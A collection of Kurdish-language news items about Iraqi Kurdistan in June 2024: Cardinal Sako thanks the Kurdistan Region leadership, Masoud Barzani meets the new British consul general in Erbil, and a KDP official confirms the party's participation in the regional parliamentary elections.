كاردینال لویس رۆفائێل ساكۆ، پاتریاركێ كلدانی ل ئیراقێ و جیهانێ بەری زڤرینا وی بۆ بارەگەهێ خوە ل بەغدا، د بەیاننامەیەكێدا سوپاسی و پێزانێن خوە ئاراستەی سەركردایەتییا هەرێما كوردستانێ كرن و تێدا دبێژیت» بۆ كشتاندنا مەرسوومێ سەرۆكایەتییا كۆمارا ئیراقێ، سوپاس بۆ ئەوی هەلوەست و پێشوازییا گەرم ژ ئالیێ سەركردایەتییا هەرێما كوردستانێ ل من هاتییە كرن».
هەروەسا د پەیاما خوە دا بۆ سەركردایەتییا هەرێما كوردستانێ دبێژیت، سوپاسییا هەوە دكەم و هەلوەستێ هەوە بلند د هەلسەنگینم د رەفتاركرنا راست و دروست دا، وەكو ئەوا سەرۆك بارزانی د پەیامەكێدا ل تۆرا ئێكسدا هەلوەستێ خوە بۆ دووڤچوونا فەرمانەكا دیوانا سەرۆكایەتییا كۆمارێ بەلاڤكری.
هەر د پەیاما خوە دا، كاردینال ستاكۆ نڤیسی، سوپاس بۆ خودای ل دووماهیێ ژ ئەگەرێ دەستپێشخەرییا محەمەد شیاع سۆدانی، سەرۆك وەزیرێن ئیراقێ شاشی هاتنە راستڤەكرن، ئەڤێ چەندێ ژی ب پێدڤییەكا گرنگ دزانم بۆ سەقامگیرییا وەلاتی، چونكە هیچ رێكەكا دی بۆ چارەسەركرنا كێشەیان و چاكسازییا رەوشان ب دروست نزانم، ژ بلی دانوستاندنێن وێرەك و حەكیمانە كو ئەم هەموو ل سەر ئێك هەلوەست بین.
كاردینال لویس روفائێل ساكۆ، پاتریاركێ كلدانی ل ئیراقێ و جیهانێ ل دووماهییا پەیاما خوە رەخنێ ل سیستەم و سیاسەتا دەستهەلاتدارییا ئیراقێ دگریت و دبێژیت» ب خراب بەلاڤكرن و شۆركرنا دەستهەلاتێ و قۆرخكرنا دەستهەلاتێ ئاشتەوایی بدەستڤەناهێتن، لەوما بەلاڤكرنا دەستهەلاتان دڤێت ل سەر بنەمایێ دستووری بیت بۆ ئەوێ چەندێ حوكمڕانییەكا باش و دیموكراسی بۆ خزمەتكرنا وەلاتی و وەلاتییان بدەسڤەبهێتن.

دوهی ئێكشەمبی 23/6/2024، ل سەلاحەدین سەرۆك مەسعود بارزانی پێشوازی ل ئاندرۆ دیزلی كونسۆلێ گشتیێ نوو یێ بریتانیا ل هەولێرێ كر.
د دیدارەكێدا كو رۆزی كەیڤ، جێگرا بالیۆزێ بریتانیا ل ئیراقێ بەرهەڤ بووی، سەرۆك بارزانی سەرەرای ب خێر هاتنا شاندێ مێهڤان هیڤییا سەركەفتنێ بۆ قونسلێ نوو یێ بریتانیا ل هەولێرێ خواست د ئەركێ وی یێ نوو دا. هەروەسا ئاماژە ب پەیوەندیێن دۆستانە و دیرۆكی د ناڤبەرا گەلێ كوردستانێ و بریتانیا كر و هیڤی خواست پەیوەندی بەردەوام بن و زێدەتر بەر ب پێشڤە بچن.
ژ ئالیێ خوەڤە قۆنسلێ گشتیێ بریتانیا ل هەولێرێ سوپاسییا هەلوەستێ سەرۆك بارزانی كر و باس ل پەیوەندیێن د ناڤبەرا گەل و حوكمەتا هەرێما كوردستانێ و بریتانیا كر و بەرهەڤییا خوە نیشاندا بۆ بەردەوامیدان و باشتركرنا ئەوان پەیوەندییان.
رەوشا سیاسییا ئیراقێ و دەڤەرێ و مەترسیێن تیرۆرێ تەوەرەكێ دی یێ ئەڤێ دیدارێ بوون.

بەرپرسەكێ پارتی دیموكراتی كوردستان دبێژیت، پارتی بڕیاردایە پشكداریێ د پڕۆسەیا هەلبژارتنێن پەرلەمانێ كوردستانێ دا بكەت و لیستا بەربژارێن پارتی ژی یا بەرهەڤە وهەردەمێ دەرگەهێ پێشكێشكرنا ناڤێن بەربژاران هاتە ڤەكرن، پارتی دێ ناڤێن بەربژارێن خوە پێشكێشی كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ كەت.
شێخ ستار عەوالانی، بەرپرسێ لقێ 21 ێ پارتی دیموكراتی كوردستان بۆ رۆژنامەیا (ئەڤرۆ) گۆت « پارتی ل هەرێما كوردستانێ حزبا داهێنەرا دیموكراتیەتێیە و چو ئالیێن سیاسی نەشێن ئەڤێ مزایەدێ ب پارتی بفرۆشن، چونكە پشتی سەرهەلدانێ سەرۆك بارزانی ئێكەم كەس بوویە داخوازا ئەنجامدانا هەلبژارتنان كری و ل هەموو هەلبژارتنێن هەرێما كوردستانێ پارتی هێزا ئێكێ بوویە، نوكە ژی هەلبژارتن بهێنە ئەنجامدان دێ هەر پارتی دیموكراتی كوردستان هێزا ئێكێ بیت و چو ئالیێن سیاسی نەشێن هەڤڕكیا پارتی بكەن، چونكە پارتی هەم جەماوەرەكێ دلسۆز یێ هەی و هەم سەرۆك و سەركردایەتیەكا ب هێز ژی یا هەی، دەمێ پارتی گۆت ی پشكداریێ د پرۆسەیا هەلبژارتناندا ناكەین ژ پێخەمەت ئەنجامدانا پرۆسەیەكا ساخلەم و زەلال بوویە، مەرجێن پارتی ژی د دیاربوون كو داخوازا ڤەگەڕاندنا كورسیێن كۆتایا دكر، ژ بەر كو هەر ژ دەستپێكا شۆڕەشێن كوردان هەموو پێكهاتەیێن هەرێما كوردستانێ پشكداربووینە و وان ژی مینا گەلێ كورد خەبات كریە هەتا ئەوژی بگەهنە مافێن خوە، هەركەسەكێ دیرۆك خواند بیت ئەڤێ راستیێ ژی دزانیت كو پێكهاتەیێن هەرێما كوردستانێ رۆلەكێ مەزن د شۆڕەشا ئەیلوولا مەزن دا هەبوو، خالەكادی یا گەلەك گرنگ بۆ هەموو دەنگدەر و ئالیێن سیاسی ئەوبوو پارتی رازینەبوو نێزیكی 400 هزار كەس ل هەرێما كوردستانێ بهێنە بێبەهركرن ژ پڕۆسەیا دەنگدانێ د هەلبژارتناندا، كو ئەو هەموو دەنگدەرێن پارتی ب تنێ نەبوون بەلكو یێن ئالیێن دی ژی تێدا بوون و پارتی پێداگیری كر هەموو ئەو دەنگدەرێن ئاریشە بۆ هاتییە پەیداكرن مافێ دەنگدانێ یێ هەی و نابیت بهێنە بێبەهركرن ژ ئەوی مافی، نوكە پشكەك ژ داخوازیێن پارتی یێن هاتینە بجهئینان و پشكەك ژی ماینە، بەلێ سەركردایەتیا پارتی بڕیاردایە پشكداریێ دپڕۆسەیا هەلبژارتناندا بكەت و ئەم چاڤەڕێی فەرمانا سەرۆكێ هەرێما كوردستانێ دكەین بۆ دیاركرنا ژڤانەكێ نوو بۆ ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ».
ل دۆر بەرهەڤیێن پارتی دیموكراتی كوردستان و لیستا بەربژارێن پارتی بۆ هەلبژارتنێن پەرلەمانێ كوردستانێ، بەرپرسێ لقێ 21 گۆت » پارتی بەرهەڤی بۆ ئەنجامدانا هەلبژارتنان یێن كرین و ل سەر ئاستێن جودا پارتی بەرهەڤیێن خوە كرینە و هەردەمێ ژڤانێ هەلبژارتنان ژی ژلایێ سەرۆكێ هەرێما كوردستانێ ڤە هاتە دیاركرن دگەل رێنمایێن كۆمسیۆنێ دێ پارتی ژی پتر بەرهەڤیێن خوە كەت».
سەبارەت شێوازێ هەلبژارتنان ژی، دبێژیت» ئەڤێجارێ هەلبژارتنێن هەرێما كوردستانێ ل سەر چار بازنەیان هاتینە بەلاڤكرن، ئانكو دێ چار بازنەیێن هەلبژارتنان هەبن و ب گۆڕەی بڕیار و رێنمایێن كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ ل هەر بازنەیەكێ چەند كۆرسی هەبن پارتی دشێت دو بەرامبەر بەربژاران دیار بكەت، لیستا بەربژارێن پارتی ژی یا بەرهەڤە و هەردەمێ كۆمسیۆنا هەلبژارتنان دەرگەهێ پێشكێشكرنا ناڤێن بەربژاران ڤەكر، بێگومان دێ پارتی ژی لیستا بەریژارێن خوە پێشكێشی كۆمسیۆنێ كەت، ب گۆڕەی ئەو دابەشكارییا هاتییەكرن پارتی بۆ هەر دەڤەرەكێ بەربژارێن خوە یێن هەین».